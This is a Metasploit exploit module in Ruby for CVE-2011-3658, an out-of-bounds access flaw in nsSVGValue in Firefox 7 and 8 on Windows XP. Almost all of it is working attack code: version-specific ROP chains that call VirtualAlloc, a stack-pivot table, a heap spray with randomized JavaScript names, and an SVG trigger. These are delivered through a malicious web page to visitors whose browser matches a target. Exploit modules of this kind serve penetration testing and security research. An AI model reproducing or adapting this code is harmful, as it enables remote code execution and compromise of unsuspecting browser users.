Mozilla Firefox 7 / 8 Out-Of-Bounds Access

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability',  
'Description' => %q{  
This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).  
The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)  
uses a loop which can result in an out-of-bounds access to attacker-controlled memory.  
The mObserver ElementAt() function (which picks up pointers), does not validate  
if a given index is out of bound. If a custom observer of nsSVGValue is created,  
which removes elements from the original observer,  
and memory layout is manipulated properly, the ElementAt() function might pick up  
an attacker provided pointer, which can be leveraged to gain remote arbitrary  
code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'regenrecht', #vulnerability discovery  
'Lincoln<lincoln[at]corelan.be>', #Metasploit module  
'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2011-3658' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ],  
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x34",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[  
'Windows XP - Firefox 7',  
{  
'Ret' => 0x0C0C0C0C,  
'OffSet' => 0x606,  
'Size' => 0x40000,  
'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll]  
'FF' => 7,  
'OS' => 'XP'  
}  
],  
[  
'Windows XP - Firefox 8 (<= 8.0.1)',  
{  
'Ret' => 0x0C0C0C0C,  
'OffSet' => 0x606,  
'Size' => 0x40000,  
'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll]  
'FF' => 8,  
'OS' => 'XP'  
}  
]  
],  
'DisclosureDate' => 'Dec 6 2011',  
'DefaultTarget' => 0))  
  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def junk(n=4)  
return rand_text_alpha_upper(n).unpack("L")[0].to_i  
end  
  
def nop  
return make_nops(4).unpack("L")[0].to_i  
end  
  
def get_rop_chain(ffversion,osversion)  
  
# mona.py ROP chains  
  
rop_chain = []  
  
if ffversion == 7 and osversion == "XP"  
  
rop_chain =  
[  
0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]  
0x7813aeed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]  
0x78194774, # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll]  
0x78139801, # RETN (ROP NOP) [MOZCRT19.dll] -> edi  
0x78195375, # & push esp # ret [MOZCRT19.dll] -> ebp  
0x00000001, # 0x00000001-> ebx  
0x7819966e, # POP EDX # RETN [MOZCRT19.dll]  
0x00001000, # 0x00001000-> edx  
0x7813557f, # POP ECX # RETN [MOZCRT19.dll]  
0x00000040, # 0x00000040-> ecx  
0x781a4da8, # POP EAX # RETN [MOZCRT19.dll]  
nop, # nop  
0x7813d647, # PUSHAD # RETN [MOZCRT19.dll]  
].flatten.pack("V*")  
  
elsif ffversion == 8 and osversion == "XP"  
  
rop_chain =  
[  
0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]  
0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]  
0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]  
0x7814eef1, # POP EBP # RETN [MOZCRT19.dll]  
0x781503c3, # & call esp [MOZCRT19.dll]  
0x781391d0, # POP EBX # RETN [MOZCRT19.dll]  
0x00000001, # 0x00000001-> ebx  
0x781a147c, # POP EDX # RETN [MOZCRT19.dll]  
0x00001000, # 0x00001000-> edx  
0x7819728e, # POP ECX # RETN [MOZCRT19.dll]  
0x00000040, # 0x00000040-> ecx  
0x781945b5, # POP EDI # RETN [MOZCRT19.dll]  
0x78152809, # RETN (ROP NOP) [MOZCRT19.dll]  
0x7819ce58, # POP EAX # RETN [MOZCRT19.dll]  
nop, # nop  
0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll]  
].flatten.pack("V*")  
  
end  
  
return rop_chain  
end  
  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# determine the target FF and OS version  
  
ffversion = ""  
osversion = ""  
  
agent = request.headers['User-Agent']  
  
if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/  
vprint_error("This browser version is not supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
  
my_target = target  
if my_target.name == 'Automatic'  
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/  
my_target = targets[1]  
elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/  
my_target = targets[2]  
elsif vprint_error("This Operating System is not supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
target = my_target  
end  
  
# Create the payload  
print_status("Creating payload for #{target.name}")  
table =  
[  
0x0c0c0c0c, # index  
0x0c0c0c0c, # index  
0x0c0c0c0c, # index  
0x7c45abdf # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL]  
].pack("V*")  
  
rop = rand_text_alpha_upper(56)  
rop << [ target['PopEax'] ].pack("V")  
rop << rand_text_alpha_upper(40)  
rop << get_rop_chain(target['FF'],target['OS'])  
  
# Encode table, chain and payload  
rop_js = Rex::Text.to_unescape(table+rop, Rex::Arch.endian(target.arch))  
  
code = payload.encoded  
code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))  
  
# random JavaScript variable names  
i_name = rand_text_alpha(rand(10) + 5)  
rop_name = rand_text_alpha(rand(10) + 5)  
code_name = rand_text_alpha(rand(10) + 5)  
offset_length_name = rand_text_alpha(rand(10) + 5)  
randnum1_name = rand_text_alpha(rand(10) + 5)  
randnum2_name = rand_text_alpha(rand(10) + 5)  
randnum3_name = rand_text_alpha(rand(10) + 5)  
randnum4_name = rand_text_alpha(rand(10) + 5)  
paddingstr_name = rand_text_alpha(rand(10) + 5)  
padding_name = rand_text_alpha(rand(10) + 5)  
junk_offset_name = rand_text_alpha(rand(10) + 5)  
single_sprayblock_name = rand_text_alpha(rand(10) + 5)  
sprayblock_name = rand_text_alpha(rand(10) + 5)  
varname_name = rand_text_alpha(rand(10) + 5)  
thisvarname_name = rand_text_alpha(rand(10) + 5)  
container_name = rand_text_alpha(rand(10) + 5)  
tls_name = rand_text_alpha(rand(10) + 5)  
tl_name = rand_text_alpha(rand(10) + 5)  
rect_name = rand_text_alpha(rand(10) + 5)  
big_name = rand_text_alpha(rand(10) + 5)  
small_name = rand_text_alpha(rand(10) + 5)  
listener_name = rand_text_alpha(rand(10) + 5)  
run_name = rand_text_alpha(rand(10) + 5)  
svg_name = rand_text_alpha(rand(10) + 5)  
atl_name = rand_text_alpha(rand(10) + 5)  
addr_name = rand_text_alpha(rand(10) + 5)  
trans_name = rand_text_alpha(rand(10) + 5)  
matrix_name = rand_text_alpha(rand(10) + 5)  
  
# corelan precise heap spray for Firefox >= 7  
# + trigger routine  
spray = <<-JS  
  
var #{rop_name} = unescape("#{rop_js}");  
var #{code_name} = unescape("#{code_js}");  
var #{offset_length_name} = #{target['OffSet']};  
  
for (var #{i_name}=0; #{i_name} < 0x300; #{i_name}++)  
{  
var #{randnum1_name}=Math.floor(Math.random()*90)+10;  
var #{randnum2_name}=Math.floor(Math.random()*90)+10;  
var #{randnum3_name}=Math.floor(Math.random()*90)+10;  
var #{randnum4_name}=Math.floor(Math.random()*90)+10;  
  
var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();  
#{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();  
  
var #{padding_name} = unescape(#{paddingstr_name});  
  
while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};  
  
#{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});  
  
var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};  
#{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);  
  
while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};  
  
#{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);  
  
#{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();  
#{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();  
#{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";  
eval(#{thisvarname_name});  
}  
  
var #{container_name} = [];  
  
var #{tls_name} = [];  
var #{rect_name} = null;  
var #{big_name} = null;  
var #{small_name} = null;  
  
function #{listener_name}() {  
#{rect_name}.removeEventListener("DOMAttrModified", #{listener_name}, false);  
for each (#{tl_name} in #{tls_name})  
#{tl_name}.clear();  
  
for (#{i_name} = 0; #{i_name} < (1<<7); ++#{i_name})  
#{container_name}.push(unescape(#{big_name}));  
for (#{i_name} = 0; #{i_name} < (1<<22); ++#{i_name})  
#{container_name}.push(unescape(#{small_name}));  
}  
  
function #{run_name}() {  
var #{svg_name} = document.getElementById("#{svg_name}");  
#{rect_name} = document.getElementById("#{rect_name}");  
  
for (#{i_name} = 0; #{i_name} < (1<<13); ++#{i_name}) {  
#{rect_name} = #{rect_name}.cloneNode(false);  
var #{atl_name} = #{rect_name}.transform;  
var #{tl_name} = #{atl_name}.baseVal;  
#{tls_name}.push(#{tl_name});  
}  
  
const #{addr_name} = unescape("%u0c0c");  
#{big_name} = #{addr_name};  
while (#{big_name}.length != 0x1000)  
#{big_name} += #{big_name};  
  
#{small_name} = #{addr_name};  
while (#{small_name}.length != 15)  
#{small_name} += #{addr_name};  
  
var #{trans_name} = #{svg_name}.createSVGTransform();  
for each (#{tl_name} in #{tls_name})  
#{tl_name}.appendItem(#{trans_name});  
  
#{rect_name}.addEventListener("DOMAttrModified", #{listener_name}, false);  
var #{matrix_name} = #{svg_name}.createSVGMatrix();  
#{trans_name}.setMatrix(#{matrix_name});  
}  
JS  
  
# build html  
content = <<-HTML  
<html>  
<head>  
<meta http-equiv="refresh" content="3">  
<body>  
<script language='javascript'>  
#{spray}  
</script>  
</head>  
<body onload="#{run_name}();">  
<svg id="#{svg_name}">  
<rect id="#{rect_name}" />  
</svg>  
</body>  
</html>  
HTML  
  
print_status("Sending HTML")  
  
# Transmit the response to the client  
send_response(cli, content, {'Content-Type'=>'text/html'})  
  
end  
  
end  
`